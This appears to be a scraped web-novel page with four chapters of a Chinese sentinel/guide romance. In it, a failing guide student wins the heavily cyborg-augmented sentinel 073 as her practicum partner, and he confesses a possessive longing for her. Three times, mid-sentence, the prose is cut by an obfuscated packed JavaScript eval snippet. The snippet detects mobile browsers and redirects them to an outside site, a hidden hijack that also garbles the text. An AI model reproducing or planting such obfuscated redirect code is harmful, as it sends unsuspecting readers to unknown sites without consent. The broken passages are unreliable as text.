《异种相性观测报告》 1. 怜我怜卿(一) 推开会客室的门时,应知晓抬腕看了眼表,8:23。 很好,迟到了23分钟。她懒得数这是第多少次,反正也记不住。 第二眼看向正对着门等待的人,刚吸入的没喘匀的气憋进嗓子眼,乱窜的气流刀片似的,剌得黏膜又涩又疼,灼烧、肿胀。 一同肿胀的还有她的脑袋,想破了也没想到现在的情形—— 男性哨兵端坐在沙发上,头盔、面罩、手套、作战服和短靴组合的全套重型防护装备将人捂得严严实实。她能认出眼前是名男性哨兵,仅仅是因为对方的个人信息上是这么写的。 如果不是他没有佩戴任何武器,她几乎要以为这里是战时前线。 “对不起,我来晚了。”应知晓语气干巴巴的,很没诚意。 当人十几年如一日,反复、连续犯相同的错误时,再有道德素养,愧疚感也会逐渐消失,变得麻木。 她清楚地知道自己错了,但知道又能怎样? 男性哨兵一言不发,甚至动都没动。想观察他的神色,简直是天方夜谭。 她习惯性去扯松垮的腰链,金属链条挂着的成串小铃铛相互碰撞,叫回了快要飘远的思绪。 清脆铃声似乎引起了男性哨兵的注意,他朝门口的方向侧了侧头。 应知晓到对面坐好,才发觉他体型大得夸张,像是谁搬了座假山恶作剧般堆在沙发上。 “呃,你好,我叫应知晓。我看你姓名栏里填的是‘REVENANT073’,不是本名吧?”她没话找话,总不能两人坐着干瞪眼,何况还瞪不到。 “073。”他终于出声,听不出情绪。 “好的,073。”她从善如流,就算这称呼再古怪,也丝毫没有追问的意思:“那我递交的监护申请……” 073的回答干脆利落:“我拒绝。” 应知晓剩余的话连带着先前没喘匀的气一起噎住,不上不下。 最后一次机会就这样耗尽了。 又是这样。 总是这样。 视线垂落,茶几上摊着份贴了她照片的纸质档案,其中一页是成绩单。 学期综合成绩(含补考): 《精神图景分型概论》61 《向导生理学》65 《缄默屏障构筑与攻克》57 《对哨兵应用心理学》53 《疏导技术发展史》54 …… 科目名称后的数字怎么看怎么扎眼。 应知晓抿抿嘴,腾地起身往外走,动作太急,膝盖下缘磕到茶几边角,鲜明的痛楚一路钻进心脏。鼻子发酸,分不清到底是腿疼还是心疼。 每走一步,脑海中都闪过不同的画面—— 先是在同学的嘲笑声中离开向导学院。 再是被封锁精神力和相关记忆。 最后遣返外界,接受某人的终生监视。 不行。 她倏地顿住,霍然转身,过去只敢在脑子里模拟的话一股脑倒出来:“为什么?我的理论课成绩的确不好,也不想辩解什么。但我可以用任何方式担保,实操作业水平不低于同届向导学员的平均线。” 说这些话时,手指死死攥着腰链上的一颗铃铛,仿佛稍一松手,勇气便会从中流走。 073推起目镜。 没了深色滤光片的阻隔,他眼中应知晓的轮廓清晰到近乎锋利。 云顶的优待政策像是从未落实到她身上,向导学院统一的白色制服下,比布料更浅的肌肤裹着削薄的血肉与纤细骨骼,瘦得不太正常。 从头到脚唯一的饰品就是那条随意缠在皮带上的腰链,廉价的镀银材质,大概戴了很久,链条褪色严重,挂着各式花朵造型的陶瓷铃铛,有新有旧,晃动时铃音高高低低,接连穿过降噪耳机不停震动他的鼓膜。 比陶瓷铃铛还要易碎的小向导,显然不适合他。 应知晓僵硬站着,心中发毛。 073镜片后的灰色虹膜给人的感觉格外淡漠,深邃的眼窝在攻击性的基础上又添了分难以捉摸。他打量的视线如同刀背在体表缓缓刮过,随时可能翻转过来切割人的皮肉。 “不行。”073简单得出结论。 应知晓又得到了一次拒绝。 被拒绝的次数够多同样会麻木,但这次多了些不同。 她憋着口气:“你又没试过,怎么知道我不行!” 073皱眉,他不擅长交谈,尤其是和向导。 不过他有效率更高的劝阻方式。 他站了起来。 应知晓觉得房间里竖起了第五面墙,光线肉眼可见地暗下来。 073摘掉手套,三两下卸去作战服,包括裤子。 “就算要当场试也不用全脱吧?”应知晓惊呆了,立即闭眼:“会客室有监控!” 对面迟迟没动静,她狐疑地睁眼,又呆住了。 想象中不雅观的场景并未出现,她只看到了金属,比他虹膜更冰冷的金属—— 暴露在外的躯体仅有右臂保留着原生形态,左臂和双腿被覆盖着装甲外壳的义肢取缔。透过关节间隙,很容易看到内部支撑的合金骨架。手部机械构造精密许多,但不能改变它不属于人类的事实。 甚至胸腹的左半边表面也是某种她不了解的柔性材料,线条走向塑造得与原身别无二致,然而枪色的漆面和那道显眼的接缝根本遮掩不住。 他没有取下头盔和面罩,看起来更像是具拼接了少量仿生部位的轻型机甲,而不是装配了机械义体的人类。 应知晓当然见过有假肢的人,但那些假肢都是为了提升生活质量,或是功效便利,或是外形美观,绝不会让人有直面杀伤性武器的威胁感。 铃铛的釉面在手指过度挤压下发出轻微的咯吱声,073听得一清二楚,来自哨兵的能力让他拥有集中注意力时最高级的隔离设施也无法阻挡的超凡五感。 她眼中那点火星灭了,表情凝固。 073早有预料,捡起地上的装备一件件穿回去。 人类对“超人”的追求亘古不变,觉醒者时代来临后,基数庞大、身体素质优越的哨兵就成了最好的实验对象。 应知晓依稀记得历史老师在课上讲过,为了将哨兵的战斗力发挥到极致,“战争改造”项目应运而生,却始终没能推广。原因很简单,损耗率太高了。 哨兵肉身的强化不仅提升了肢体力量,也增幅了五感,改造过程中的每分痛苦都会数倍放大。他们多半下不了手术台,少半在磨合期内由于持续的负面刺激很快陷入感官过载造成的“迷失”状态,意志崩溃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15719283|173880||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 073是个罕见的“成品”,游离在迷失边缘的兵器。 比起普通哨兵,需要向导投入海量的精力照管以维持稳定,劳心劳力,甚至在建立链接后极有可能遭到反噬,精神图景受创,投入与回报完全不成正比。 她晃晃神,拄着扶手缓缓坐回去:“我明白了。” 看她的样子,073认为目的达到,点了个头,迈步离开。 隔了两秒,身后冷不丁传来声音。 “这样的话,你更需要一名监护向导了,不是吗?” 073顿住。 应知晓尽量让自己显得专业从容,语速不疾不徐:“愿意进向导学院当志愿者给学生们练手的哨兵要么是接受了哨管所分配的帮扶指标,要么是没遇到合适的向导才来碰运气,我是不是可以猜测你属于后者?” “坦白的说,我急需这门《哨兵监护实操》奖励的学分顺利毕业,如果你暂时没有更好的选择,为什么不能跟我试试?” “监护关系并不是终身的,随时可以解除,你也不会有什么损失。” “我真的很需要这个机会。”很久不曾一口气说过这么多话,坚硬的铃铛硌得她指尖泛白。 大脑此刻像装在真空容器里,切断了与身体的联系,感受不到心脏是停止了运作,还是收缩得更剧烈。 073姿势不变,没有回应。 她有些坐不住,脚尖动了动,强行控制它们轻轻交叠,翘起腿,往后倚着靠背,抬头与他对视。 仰望的角度自然没什么气势,但有个稳固的支撑总好过站直时畏缩地发抖。 这让她的脖颈完全暴露在空气中,青紫血管鼓动的频率比进门时快了平均24次/分。 073将自己的视线从那小小的震颤处撕下来,挪向她的脸。 亚健康状态显著的嘴唇缺乏血色,两抹极淡的粉贴着,像两片暴晒后脱水的花瓣,每根脉纹没入紧合的缝隙,不知道深处质感是否依旧如此。 射灯的强光把她的脸颊照成边缘模糊而柔和的过曝照片,最鲜明的色彩聚在眼中,静谧的黑色由于粼粼波光晶莹剔透。 攀爬的视线徘徊几遍,两抹淡粉也在无形的触碰中饱满艳丽起来。 应知晓嘴唇抿了又抿,直到发麻,终于决定交出含在口中的最终尝试。 “好。”073的声音就在这时响起。 …… 应知晓足足愣了七八秒,脊背绷直,弹了起来:“你答应了?太好了!” 隔音耳塞和降噪耳机的双重作用让她的音色失真,听起来相隔千万里,夹着不规律的电流音,都盖不住那股爆发式的欢欣。 073的记忆力也得到过强化,却仍记不太清上一次有人因他感到喜悦是什么时候。 大概是他顺利扛过改造磨合期被认定为成品时?项目负责人笑得无比畅快,声波隔着防弹玻璃敲敲打打。 不,还是不一样。 那位负责人的笑不是为他本身,是沉浸在创造出完美造物的自得和狂想,至于走出实验室的是人是怪物,并不重要。 眼前,应知晓在征询他本人的意见,因他的言行悲喜。 这个认知让073脊柱接驳的肌电与神经交感器捕捉到瞬间紊乱的生物电信号,静置身侧的左手抽动了一下。 2. 怜我怜卿(二) 应知晓反复提醒自己要稳重,镇定,仿照那些在役的厉害向导模样,表现得成熟可靠些,极力压住上翘的嘴角:“我们登记吧?” 太唐突了。 话一出口,立刻有些后悔。课上明明教过的,和哨兵确立法定关系前,要通过适当的交流平和且循序渐进地了解彼此。 指间铃铛在搓弄之下咯吱咯吱响,她猛地松手丢开,过多零碎的肢体动作会给人不自信的印象。 073合拢目镜,转身出门。 他走得很快,应知晓不过愣了片刻,眼前就只剩背影。 难道她又搞砸了? “不走?”距离有点远,走廊里的声音听起来很轻。 大脑还没来得及发出指令,耳边有节奏的脚步声由远及近:“累?” “啊?”她睫毛扇了扇。 下一秒,视野陡然拔高,双脚在瞬间的失重感中离开了地面。 073架起她托到怀里,重新走出门。 她反应慢了拍,半坐半靠在他小臂上,悬空的腿乱晃:“等等、等等!” 073顿住,勉强能分辨出滤光镜片后正看着路的眼睛下移了几分。 他没说话,应知晓推测,可能是疑惑的意思,她也疑惑:“呃,你要做什么?” “抱你。”073不懂她的质疑,履行哨兵的职责合情合法。 嗯,或许这是种比较独特的增进感情的方式? 作为监护向导,有义务在一定程度内照顾哨兵的喜好,而拥抱显然不是什么离谱的事。他的态度过于理所当然,应知晓越想越觉得是这么回事。 实操对象来之不易,要认真维护。她花了两秒种成功说服自己,以后尽量接受此类行为。 琢磨了片刻,艰难给出了个她认为足够正面且淡定的评价:“……挺好。” 她夸奖了他。 一件微不足道的事并不值得如此。 所以是她喜欢这样。 073得出结论,默默记下。 他的步速比刚刚更快,甚至带起阵阵风啸,盖过了落地时交替出现的机械传动声。应知晓眼前景象拉长成片片虚影,不自觉扣紧他的肩膀。万一掉下去,恐怕跟跳车的效果差不多。 随即,她又意识到这种担心是多余的。垫在身下的左手稳稳固定在腿侧,堪比过山车的压杆,感受不到任何、哪怕是最轻微的颤动。 意外的,体验感比坐车强多了。 美中不足的是这样的姿态着实有些招摇,路上回头率起码有八成,其余两成还基本是在忙自己的事情,一时没注意才错过了。 他要去哪?她极少离开云顶,对别的分区环境陌生,很久方认出073的路线—— 在向导聚居的南方“云顶”与哨兵聚居的北方“要塞”之间,设立了过渡区“中庭”将两地分隔,形成了上宽下窄的“目”字布局。 他们从中庭西南方的招待所里出来,正向核心地带高速移动。 为了忽略路人频频投来的视线,她努力转移注意,思维越来越发散:如果每次出门都能让073带着,是不是就不会迟到了?这么干好像有点不太尊重……可是真的很快很方便啊! 由于绝大多数电磁波会对向导、特别是未成年向导的精神力产生干扰,云顶的基础设施刻意维持在了蒸汽时代的水平,内部向导们的日常起居模式被迫停滞在几个世纪之前,交通工具速度更是慢得令人发指。 中庭整体环境倒是与外界当前的状况接近,但只有在役的正式向导可以在此长期定居,她暂时不具备资格。 思来想去,始终得先迈过毕业大关。 “到了。” 持续的呼哨模糊了大脑对时间流逝的感知,她听到提醒回神,原来人已经停在了被顶端立着觉醒世纪第一对哨兵向导伴侣携手造型雕塑的阶梯喷泉横断东西的枢机大道上。云顶与要塞的公众行政机关都坐落于此,遥遥对望,分列道旁。 瞄了眼手表,抱着一个活人穿越小半个中庭,居然才用了二十多分钟,比直通列车慢一刻而已。 她敢肯定,这远不是073的极限,他口鼻全程掩在净化面罩下,说话依旧吐字清晰,丝毫换气声都没发出。 没等感慨完,073又动了,往大道北侧负责办理哨兵个人相关事务的哨管所走去。 应知晓恍然,对啊,怎么给忘了。与哨兵建立法定关系时,除了实操课报名后学院代发的向导协会许可,哨兵方面也需要专门的手续,必须双方到场线下办理,齐全后才能申请登记。 大厅内人头攒动,她实在克服不了尴尬的心理,干咳了声:“那个,先放我下来吧?” 073颔首,视线转向怀里,从头到脚扫描完,检查到体征正常,慢慢将人送到地面。 总算脚踏实地,她呼了口气,莫名感到他的动作透着种小心翼翼的意味。 兴许是他刚刚的动作比较轻缓,与赶路时反差太大造成的错觉。 073推开哨管所的多层防爆玻璃大门,海潮般的零碎声响霎时钻出门缝。 她辨认出大部分是专门录制的白噪音——火花迸溅、风吹树叶、冰凌碎裂、纸张摩擦……用来缓解哨兵的听觉压力。这么多种动静混在一起,声音不算吵闹,但她听着只觉杂乱,真的有舒缓效果吗? 细看几眼,噪声从每副随身佩戴的耳麦里外漏,而哨兵们表情稀松平常,似乎听不到周遭的杂音。在成片嘈杂中自觉保持半米以上的距离,彼此间几乎不会交谈,像是批量码放整齐的人形音响。 初次见到哨兵成群结队,场面真够诡异的。 应知晓下意识用余光观察073,他的耳麦好像一直很安静。 他本人也很安静,乃至于进门后就不动了。 “怎么了?”对方静立的时间有些久,她想,有必要关心关心。 没得到回答,犹豫片刻,伸出指尖碰了碰他的手背。 073条件反射地攥紧,随即又张开点,将她的手包住整个裹进掌心。 隔着战术手套的缓震垫,机械手上的磁阻触觉传感阵列灵敏度大幅削弱。他精密控制每个关节的弯曲角度,保证在无法确切感知的情况下不会用力过猛伤到她。 他看过她的手,尺寸、形状、温度、重量等数据不断预设、传输、更新,与目测的估值反复进行比对校准,最后停留在较为稳定的平均区间。 读取到的数据时刻警示他,身边正站着自己的小向导,不能受这些把白噪音遮蔽仪功率开到最大才能外出的低级哨兵影响。 一群烦人的苍蝇。 杀掉他们。 不行。 有概率误伤她。 073的精神图景外层隐隐震动,身处大堆电子设备之间的应知晓精神力远不如平时敏锐,并未察觉。 手还被握着,当众甩开的话,他会难过的吧?她没好意思抽回手,转而轻轻摇了下:“我们进去吧?” “……好。”机械手收紧了一分,试图获取更清晰的触感。 抬头看看指示牌,她朝对应的窗口队伍末尾走去。 前排的哨兵顿时哗啦啦退向两侧,她迈出的脚一僵。 什么情况? 073习以为常,将她往前带:“走。” “插队不好吧。”应知晓迟疑,云顶里可不提倡。 插队?073的字典里没这个概念。或者说,是哨兵群体没这个概念。他有能力斩杀在场的所有哨兵,不想死,便让路。 要塞历来默许私斗,活下来的才是合格哨兵。 退让的哨兵们显然抱有同样的观点, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15719284|173880||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 纷纷垂眼,避开直接的视线接触,免得被认为是挑衅,虽然他们的存在本身就是一种挑衅。 “不是插队。”073想说历来如此,如果有比他强大的哨兵现身,他也会让步。 但小向导看上去还不懂哨兵们的潜规则,直觉告诉他,现在解释并非是好选择。 他被难住了。 踌躇间,窗口里办事员催促:“你们两个,快点儿,别杵在那耽误时间。” “是!”课堂上培养出的肌肉记忆让应知晓被点到名时一个激灵,顾不得再想,急忙越过哨兵们,站到窗口边。 握着放大镜的老年男性哨兵办事员盯着终端屏幕问:“需要什么?” 073上前半步:“无关系证明。” “稍等。”办事员眯眼,一个键一个键地敲键盘。 应知晓对哨兵的手续办理流程基本一无所知,插不上手,倚着柜台干等。 闲得无聊,想仔细看看哨管所的内部。转身,眼前只有073墙一般的宽阔胸膛,将她的视线全数挡住。 转向侧面,是他撑起的手臂,形成人工的包围圈。站在其中并不拥挤,留出了自如活动的余地,但她还是有股密不透风之感,连四周气温都升高了几度。 从073的视角,仅能看到她来回旋动的头顶,垂顺的发丝跟着甩来甩去,像风中的雨。 触感一定很好。 可惜现在不能摘手套。 他强迫自己不要再关注,却开始模拟触碰它们时的感受。 人不能想象出认知以外的事物,半机械体显然也不行。在多年束缚中沉寂的感官,此刻兀然生出挣脱的愿望,忍不住试图抓取些具体的事物填补那份体验上的缺失。 在这个念头愈演愈烈时,073扣在柜台边的机械左臂骤然发力,石质台面“咔”地崩开,裂痕一路蔓延出树状细纹。 “我去外面等。”他头也不回地跨出大厅,眨眼间不见了。 应知晓来不及开口,面前空余阵疾行带起的风。 说不惊吓是不可能的,她瞪着簌簌落灰的柜台,手指蹭蹭鼻尖,小声问:“这……” “不用管,会有专人处理,”办事员敲键盘的节奏不变,“看好你的哨兵。” 她很想大呼冤枉,但罪证摆在面前,不认也得认,忙不迭点头:“是是,我会的、我会的。” “好了。”办事员递出证明,目光在她的学员制服上停留一瞬,摇头嘀咕,“真是越来越不讲究了。” 轻蔑的口吻,听得应知晓捏着证明文件的手指微微用力。 “这位男士,如果对此有不满,”她蹙眉,指指台面裂纹,“我已经成年了,完全可以负责。” “没有针对你的意思,小向导,”办事员慢悠悠道,“但挑选哨兵,不能只看实力,人品更重要。你知不知道他是……” 办事员像是有所顾忌,话说到一半临时改口:“好心劝你句,年轻冲动,容易后悔。” 应知晓的表情丝毫没有因这句解释而舒缓,眉头反而蹙得更紧。她不喜欢,或者说极其讨厌旁人莫名其妙的教育。 因为这些人不问缘由的定义与决策,她的人生被斩断了太多可能,错失了太多机会,沦落至今,得到的却是变本加厉的鄙夷。 办事员说的是对是错,眼下已无心细究,这一次,她必须自己选择。 “我为我的哨兵失控道歉。但—— 如果我没看错的话,这里是哨管所的大厅,不是向导学院的教室;您是办事员,不是教授。对我眼光和我哨兵为人的评判,恐怕并不在您的专业范围内。” 抛出这段话,她深深吸了口气,没理会办事员的反应,无视两旁哨兵们若有若无斜来的好奇眼神,踏出大厅,触发时还略显局促的步伐越发平稳,逐渐坚定。 3. 怜我怜卿(三) 073没有走远。 应知晓刚离开大厅,便见他站在侧面的廊檐下,斜靠石柱,头盔和耳机摘掉了,拎在手里,与虹膜同色的灰发泛着银针似的冷光。 另一只手指夹着根细长纸卷,末端暗红火星明明灭灭。 她认识,那是支“湿烟”。 云顶开发的处方制品,用途跟外界的香烟类似,但纸卷里填充的不是烟草,也没有刺鼻的气味和传染病般的危害,而是裹了数根浸泡过安定类药剂的可燃纤维管。 原本是为了让在役向导们有个较为健康的缓解工作压力的方式才研制出的产品,倒是意外受哨兵们欢迎。尽管专供哨兵的版本为了达到理想效果使用了更为昂贵的浓缩成分,价格翻了几番,依旧常年畅销。 设有单向阀的面罩略掀起,从不大的间隙里叼住滤嘴。露出的一截下颌与脖颈保留着正常的麦色人类皮肤,利落的线条微微翕动。 他几乎是立刻有所察觉,偏过头来,猛吸了口,纸卷瞬间烧去大半,缓缓吐息,干脆地掐灭还剩三分之一的烟蒂,带着柏木香的白气袅袅缭绕,隐于其中的双眼氤氲着浓郁雾霭。 “那个……”不明缘由的,应知晓忽然想不起来要说的话,明明怼办事员老头时还挺有气势来着。 戴回面罩,073端着头盔闷声问:“好了?” 她清了下嗓子,顺势扬了扬手里的文件:“是呀,终于能登记了。” 他嗯了一声。 监护关系的登记申请会通过个人终端递交给中枢院,她的自然由学院方面集体办理,073只要回去完成哨兵的部分就可以,不用继续东奔西跑。 阶段性的目标完成,两人并肩下了台阶,踩在古老的长石砖上缓步前行,一时间谁都没有出声,诡异地陷入沉默。 枢机大道不单是行政要道,更是中庭最有名的观光圣地。 来时经过的誓约喷泉,建造之初是为了纪念觉醒者出现的划时代意义。随着时间推移,或许是那对雕塑形象太优美,慢慢变成了哨兵向导联系牢不可破的浪漫象征。 越来越多刚结合的伴侣将其当做配偶登记合照的背景,积年累月,连中枢院也默认了这个习俗,特地在附近开设了摄影服务点,拍好直接录入系统。 他们再次路过时,恰巧有几对新人在喷泉雕塑正面排队拍照,嘻嘻哈哈的,各有各的甜蜜。 应知晓面对这类亲密场景时总有些微妙的尴尬,老远起便避而不看,埋头走路。 073目不斜视,手搭着她的肩,往身前送了送。 她重心不稳,差点撞在他身上,被纹丝不动的手臂固定住,困惑地抬眼。 “入镜了。”他简单解释,揽着人离远了些,轻轻松手。 “嗯?哦。”她下意识点头。 誓约喷泉的占地面积很大,绕到背面,在层叠的水幕遮挡下,像是来到了另一条截然不同的安静街道。 他们该在这里分开,返回各自的生活区。 不能再拖了。 应知晓本能地摸到腰间一个铃铛搓了搓,壮起胆子问:“你身体不舒服吗?在大厅里那会儿是怎么了?” 虽然他们认识时间尚短,但她直觉073不是个轻易会失控的哨兵,否则凭潜在危险程度评估,中枢院怎么会批准他在和平地区自由行动。 突然的异样,总该有原因,合格的向导不能忽视哨兵的感受。 073定在原地,和之前一样低下头,却没看她:“不是。” 没了降噪处理,她的声音清脆灵动,远胜那串一直叮叮乱响的小铃铛。 湿烟里的安定成分正在起效,大剂量的药物冲刷着残存的神经与血液,将其麻痹,仍阻止不了体内那股难以形容的空洞持续塌陷,如同深渊巨口,叫嚣不止,激荡的回声在脑中撞击。 渴,饿。 不是对水和食物,而是别的。 他很想立刻把手上的头盔连带耳机扣回去,以免做出更加不可挽回的事,机械手指弯曲几次,迟迟抬不起来。 应知晓的动作打断了这个念头。 她倾身往前凑凑,仰起脸去捉他眼中神色:“我没有担任监护向导的经验,是我哪里做得不好吗?” “不是。”073退了半步,斩钉截铁。 “可以告诉我原因吗?” 要么不问,问就要问清楚。 抱着这样的心态,她跟上前:“我想知道,不是为了窥探,不想蒙蔽或臆测。只有了解你,才能帮到你。你答应了接受我的监护,那可不可以试试看相信我?从回答这个问题开始?” “是我的问题。”073没有再退。 头盔外壳被捏得轻微变形,他闭了闭眼:“我在肖想你。” “咳咳咳!”应知晓万万没想到会听见这种答案,握拳掩唇,清清嗓子:“呃……这个词是这样用的吗?是不是有点歧义?” “不是。” 他也往前半步,俯身时,两人的距离近到斜映的影子边缘融化重叠在一起,目光锁在她因情绪波动铺了分血色的脸颊:“我很确定。” “确定、什么?”她思维飘忽,拼命搜寻混乱记忆里的课本知识,试图找出一种符合当前状况的处理方法。 有如刀锋的视线贴着她薄薄的皮肉剐蹭,在摩擦中沾染些许温度,最终停到肩头的发上:“我想抚摸它,嗅闻它,舔舐它。刚才想,现在想。我的自控力不足以抑制,我会沉沦在贪念中,直到对你做出无法饶恕之事。” “……我还没有提交登记申请,”他问,“确定要成为我的向导吗?” 应知晓双眼圆睁:“说完了?还有吗?” 回答她的是一阵沉默。 她顺了顺披散的长发,拢到身前一侧:“来吧!” 073瞳孔放大:“应知晓——” “怎么会是肖想,我只听到了一位哨兵对向导真挚的疏导需求,”她竖起食指,“但不能舔,会打湿的。” 话音刚落,他扯起面罩,鼻尖埋进她盛着发丝的肩窝。 没有预想中化工香精的冲击性,只有浅淡的、暴晒过后毛茸茸的含羞草与苔藓味道,来自她本身。 面前的人久久不动,应知晓问:“好闻吗?” 其实她更想问自己闻起来是什么味道,不过想到向导和哨兵的嗅觉差距比人和狗的差距都大,就算说出来,估计也理解不了,还是别自取其辱。 后者含混不清地答了声,所有注意力都被细软的黑发缠绕。 拉过他空闲的右手,她摸到掌根,撕开战术手套的搭扣。 “不行。”轻响让073蓦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15719285|173880||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地清醒,理智回笼,按住她的手阻止。 “为什么?”她不解:“我不介意。” “会受伤。”他艰难地拉开些距离。 隔着手套,依旧能勉强摸出超纤面料下属于人类血肉的鲜活弹性。她回想在会客室里粗看到它时的样子,是骨节分明,强健有力的。 她笑,模仿他的习惯说:“不会。” 语调太和缓,一点儿也不像。 攫着他的袖子,另只手捏上指尖部分,慢慢褪掉战术手套,出口的话有些没头没尾:“我确定。” 手上阻止的力道倏地一松。 “我很高兴。”应知晓睫毛低垂,盯着青筋虬结的手掌从布料包裹中寸寸现出:“没想到你愿意说这些,谢谢你选择信任。所以,我也相信你。” 她引着他的手抚往自己发顶:“选择你的原因不够纯粹,是我的过失。我会展示诚意,直到你不再对这段关系产生怀疑。” 拎在机械臂上的头盔“咣当”一声砸落。 “别谢我。”073碰到她发丝的刹那,手指失去控制,穿进发间。 纵容是壮大贪婪的养料,他们才刚认识,她还不了解他,为什么敢放任。 向导学院没有教过她吗?长此以往,会喂养出永不知足的狂热哨兵。 轻盈的触感根根绞紧骤然解放的神经,他捧起一缕绕在指上捻到发热。 好像不渴、不饿了,又好像更渴、更饿了。 应知晓充分尊重他的个人喜好,但实在不理解:“……能不能说说,它们摸起来是什么样的?” 按她的认知,头发的手感只分软硬、干湿、粗细,实在想不到更多特别之处。 “雨。”073鼻尖重新探入,专注体会嗅觉和触觉两种截然不同的美妙矛盾。 明明闻着干燥温暖,摸着却润泽、微凉。和设想中一样,像春天的雨,绵绵的雨丝总是飘。在落地前,他可以斩断它们,揉碎它们,又或者,享受它们被风拂乱时摇摆着扫过颈项、胸膛…… “雨?”应知晓为自己匮乏的想象力感到些许困窘。 073不解释,而是也没头没尾地来了句:“听到了。” 她眨眨眼,没懂。 “大厅里,你说的话,我听到了。全部。”他的作战服下,嵌入脊柱显示神经通路运行状态的指示灯闪成一道银河:“所以不会放弃登记。” “我说谎了,不想你拒绝。如果你反悔,我会带走你。” 似乎总能从他嘴里听到非同一般的言论。 她不知道现在自己脸上的表情如何,但神奇的没有生气:“你想把我带去哪,藏起来吗?你知道挟持绑架向导是重罪吧,会被判终身监禁。” “嗯。”073声音很闷:“我说过,忍不住。” 应知晓感到责任重大,想叹气,怕他误解,又憋了回去:“不会反悔。你认真对待我们的关系,我很感激。明天开课时再见,好吗?” 073直视她的眼睛。 她补充:“即使没课,作为你的监护向导,同样希望时刻关注你。我是因为课程需要见你,也是因为真心想要见你。” “八点,”他岔开手指,仔细理顺掌中被把玩凌乱的发丝,“等你。” 应知晓微笑,郑重点头:“明天见。” 4. 怜我怜卿(四) 应知晓费了番口舌,拒绝了送她的提议。 快捷归快捷,到底过不了心里那关,之前冒出的主意纯属天马行空,委实不想再被抱回去,给路人围观。 在这之前,她甚至不敢进入除学院外任何人群聚集的公共场合,今天也不知道该说是突破了上限还是下限,“社交电量”严重透支。 073伫立原地,目送她的身影消失在视野尽头。直到太阳开始偏斜,才拾起滚落脚边的头盔,不借助机械臂,单凭右手的自然力量将其卷成一团,反复捏紧,直到掌心的球状物皱皱巴巴,看不出原状。 誓约喷泉正面合影留念的情侣络绎不绝,以往令人烦躁的喧闹此刻却没有造成分毫干扰。他摊开硌出深深浅浅白痕的右手盯了会儿,虚握着揣进兜,转身朝要塞走去。 回到学院时,正好赶上午饭时间,宿舍大门锁了,三个舍友都不在,肯定是去了食堂。 想到食堂,应知晓吞了吞口水,饥饿感山呼海啸般从胃里涌起。 属于她的那间卧室的桌上,摆着套款式简约的实木饭盒,没有logo或纹饰,表面的清漆光泽油润,做工考究。 她的好心情戛然而止。 熟练地掀开盖子,顶层整齐码着水果和甜点。水果被去了皮,切成尺寸精确的形状,刀功不俗,每块刚好是一口的量,毫厘不差。名贵的品种颜色鲜艳,清新果香扑鼻而来。 甜点只占了很小的格子,但足足有五六种,每种就一份,全是烘焙店里见不到的精致造型。 挪开,再下层分别是配比完美的荤素菜品,或煎炒或蒸煮,最大程度保留了食材的营养和原本的口感。 底层是纤维丰富、热量适中的主食,哪怕一颗颗米粒挑出来,都找不出有瑕疵、不够饱满的。 没有汤,因为汤被认定为不够健康,取而代之的是一小壶热气腾腾的花茶。 当然,各种各样的汤类到底健不健康,在这里并不重要。 她只需要吃完这顿成本昂贵、色香味俱全的精致午餐就够了。 饭盒边压着张卡片,四边敲出字母变形组合的浮雕纹样,纸上简单写了句话:好好吃饭,爱你的。 花体字乍一看华丽飘逸,仔细观察,每个字的倾斜角度、间隔距离整齐划一,标准得像印刷出来的。 这样包装的便当很好吃,每种味道都恰如其分,调味品激发了风味的同时不至于喧宾夺主。所有原料全是限量特供,外界根本买不到,哪怕直接用清水煮都不会难以下咽。 至少舍友们是这样评价的。 夹了些放进嘴里,应知晓面无表情地闭嘴品尝。 第一口,味觉失灵,形同嚼蜡。 第二口,吞咽困难,如鲠在喉。 第三口,胃部扭结,翻江倒海。 倒了杯花茶灌下,芬芳的液体涌进,即刻有了自己的意志,和食糜结队逆流而上。 她冲到卫生间扶墙狂呕,直到胃里只剩稀薄的酸液才堪堪停住。 以前她也吃得很少,但恶心到这种程度似乎还是第一次。 从保温壶里接了杯白开水慢慢抿完,干涩的灼烧感总算消退。 呆坐在桌前,还有些精神恍惚,眼中一上午积攒的光彩随着呕吐黯淡。 想到上午,她直起腰。 为了争取想要的生活,做了那么多往常从未尝试过的事,再多一件也没关系吧? 她看着几乎原封不动的饭盒,突然伸手抄起,倾向垃圾桶。 “好女孩,不要浪费。”熟悉的话语响起。 她瞬间咬牙,脊背绷得像上紧的弦。 即便记得这里是女生宿舍,仍环顾全屋,再三确认刚才的声音仅仅来自她的脑内,而不是别的什么地方。 端着饭盒的手悬在垃圾桶上方,后续的动作因为一闪而过的话变得无比艰难。 她僵硬着,起身准备将饭盒收好。 